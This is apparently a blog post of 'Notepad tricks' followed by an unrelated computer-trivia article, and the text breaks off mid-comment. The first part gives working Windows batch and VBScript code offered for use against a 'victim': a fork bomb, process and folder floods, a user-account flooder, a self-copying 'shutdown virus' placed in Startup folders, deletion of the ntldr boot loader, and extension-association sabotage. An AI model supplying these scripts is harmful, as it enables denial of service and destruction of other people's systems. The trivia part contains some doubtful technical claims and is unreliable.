Notepad tricks

Welcome , let's learn some cool and awesome notepad tricks which you can enjoy

1)To make your pc talk

Open a text file in notepad and write:

Dim msg, sapi
msg=InputBox("Enter your text","Talk it")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak msg

Save the file with a (*.vbs) extension, it will create a VBScript File.

It will prompt you for a text when u open the file, input the text and press ok."
u will hear now what u typed..

2)Popping CD Drives

This will make the CD drives constantly pop out

Set oWMP = CreateObject(”WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop

3)Endless Notepads

This will pop up endless notepads until the computer freezes and crashes
**Code:-

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

 Application Bomber

@echo off // It instructs to hide the commands when batch files is executed
:x //loop variable
start winword 
start mspaint //open paint
start notepad
start write
start cmd //open command prompt
start explorer
start control
start calc // open calculator
goto x // infinite loop

This code when executed will start open different applications like paint,notepad,command prompt repeatedly, irritating victim and ofcourse affecting performance.

3) Folder flooder
@echo off
:x
md %random% // makes directory/folder.
goto x

Here %random% is a variable that would generate a positive no. randomly. So this code would make start creating folders whose name can be any random number.

4) User account flooder
@echo off
:x
net user %random% /add //create user account
goto x

This code would start creating windows user accounts whose names could be any random numbers.

5) Shutdown Virus
copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”
copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” //these two commands will copy the batchfile in start up folders (in XP)
shutdown -s -t 00 //this will shutdown the computer in 0 seconds

Note : Files in Start up folder gets started automatically when windows starts . You should first two lines of code in every virus code so that it would copy itself in startup folder. Start up folder path in Windows 7 is C:\Users\sys\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Everytime the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder.

6) Deleting boot files
Goto C drive in Win XP , Tools->Folder Option->View
Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'. Click apply

Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows.

Lets make a batch file to
delete this file from victim's computer and the windows will not start then.

attrib -S -R -H C:\ntldr // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively
del ntldr //delete ntldr file

After running this batch file , system will not reboot and a normal victim would definitely install the windows again.

7) Fork Bomb

%0|%0 //Its percentage zero pipe percentage zero

This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows .

8) Extension Changer
@echo off
assoc .txt=anything // this command associates extension .txt with filetype anything.
assoc .exe=anything
assoc .jpeg=anything
assoc .png=anything
assoc .mpeg=anything

Every extension is associated with a filetype like extension ‘exe’ is is associated with filetype ‘exefile’. To see them, just enter command ‘assoc’ in command prompt.
Above code changes the association of some extensions to filetype ‘anything’ (means u can write anything) which obviously doesn’t exist. So all exe (paint,games,command prompt and many more),jpeg,png,mpeg files wudn’t open properly.

9) How To Make Keyboard LED Dance ?

*Open Notepad and copy below codes into it.

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop

* Then save this file as led.vbs (.vbs is must)

* Open your save file and see your keyboard led blinking like disco lights.

How To Disable Blinking LED ?

* First open Task Manager (ctrl+alt+del)
* Then Go to process tab.
* Select wscript.exe
* Click on End process. 

U never here this 6 things about tour computer

It's a ritual across the globe: somewhere between sticking the kettle on and complaining about last night's match, you'll probably hit the button on your ageing company PC and wait while it slowly thinks about turning on. Rather than take it for granted, though, it's worth taking a couple minutes to realize a few of the things that your poor robot slave does without you ever knowing.

1. Bits, Bytes, and Size

Next time you complain about the pitiful memory capacity of your old 8GB iPod Touch, it's worth remember what makes up eight whole gigabytes. Computer science grads will know that in every gigabyte, there's 1024 megabytes; 1024 kilobytes in a megabyte, and 1024 bytes in a kilobyte. Breaking it down to the lowest level, you've got 8 bits in a byte.

Why does that matter? Because on a flash drive, each bit of data is made up of eight separate floating gates, each comprising two physical transistors, which can basically record themselves as either a '1' or a '0'. (Want to be impressed ever further? Each floating gate actually relies on quantum mechanics to work.) That means that an 8GB iPod Touch – the one you were laughing at a minute ago for being puny – has, according to my back-of-the-napkin maths, 549,755,813,888 individual gates arrayed inside that svelte aluminium body. Mighty clever engineering indeed.

2. Everything you see or hear on the internet is actually on your computer

All your computer-whizz friends probably delight in telling you how having a 'library' of videos is so 2008, that no-one torrents any more, it's all Netflix and iPlayer and 'The Cloud', whatever that means. But, you might want to remind them: every time you stream a video or the week's latest Top 40 off the web, it's actually, technically playing off your computer.

See, every internet media file has to make a local copy of itself on your machine, first. Ever wondered what that white buffering bar means on YouTube or Netflix? It's the amount of video that's been copied to the local cache, a.k.a. the amount you can still watch if your internet decides to up and die.

3. The distance data travels

A quick experiment for you: click this link, which should take you to Wikipedia. With one click, you've just fetched a bunch of data from servers in Ashburn, Virginia, about 6000km away. Your request has travelled from your computer, through a local Wi-Fi router or a modem, up to a local data centre, from there onwards (under the Atlantic Ocean, if you're in the UK), all the way to Virginia, and back again – in around 0.1 of a second, depending on how good your internet connection is.

By comparison, your body takes around 0.15 of a second for a signal to pass from your fingers, up your spinal cord to the brain, and back down again.

4. Counting Starts at Zero

At a base level, every computer's just a really big, complicated calculator. But thanks to the way its intrinsic circuitry works – with lots of little logic gates that are either 'on' or 'off' – every action that takes place at a base level is happening in binary, where things are either a 1 or a 0, with no shades of grey in between.

This actually translates up to a neat bit of programming trivia – in the computer science world, all counting (with the rather notable exceptions of Fortran and Visual Basic) starts at zero, not one.

It actually makes a lot more sense – ever thought about why the 20th century refers to the 1900s? It's because when historians decided on the dating system, they weren't clever enough to call the very first century (0-99AD) the 0th century. If they had, we'd probably have far fewer confused school children the world over.

5. The work that goes into a Ctrl+C, Ctrl+V

One rather under-appreciated fact about solid state drives (SSDs), regarded as the gold standard for fast, reliable storage, is the amount of copying they have to do. When you want to copy some data from one bit to another, it's not just a matter of shuffling the data from one part of the drive to another.

Because of the complicated way a SSD works, over-writing a block of old data with some shiny new data isn't as simple as just writing the new stuff in with a bigger, thicker Sharpie. Rather, the storage drive has to do some complicated shuffling around.


In practice, this can mean that writing a tiny 4KB file can require the drive to read 2MB (that's thousands of times more data that the 4KB file you're trying to write), store that temporarily, erase a whole tonne of blocks, then re-write all the data. It's rather labour-intensive, so think before you juggle your files around next time.

6. Code isn't as clean as you think

The majority of us put faith in bits of technology you don't quite understand – be it committing your life to a 747, or your dirty pics to Snapchat's auto-delete. When you do you generally tend to assume that the code's been scrupulously examined by teams of caffeine-fuelled programmers, with most of the niggling little bugs found and nixed.

The truth seems to be quite the opposite. One Quora user pointed out that buried within the source code for Java, one of the internet's fundamental bits of code, is this gem:

/**
* This method returns the Nth bit that is set in the bit array. The
* current position is cached in the following 4 variables and will
* help speed up a sequence of next() call in an index iterator. This
* method is a mess, but it is fast and it works, so don't f*ck with it.
